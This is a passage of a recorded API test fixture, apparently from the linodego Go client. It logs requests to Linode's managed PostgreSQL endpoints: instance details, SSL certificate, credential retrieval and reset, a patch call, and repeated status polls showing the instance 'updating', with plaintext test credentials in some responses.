max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "465" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "active", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "687" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/ssl method: GET response: body: '{"ca_certificate": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "24" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/credentials method: GET response: body: '{"username": "linpostgres", "password": "GcT0JHqj$X7fOvZ3"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "59" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/credentials/reset method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/credentials method: GET response: body: '{"username": "linpostgres", "password": "1Wr5Hyv0etHT0y-X"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "59" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/patch method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 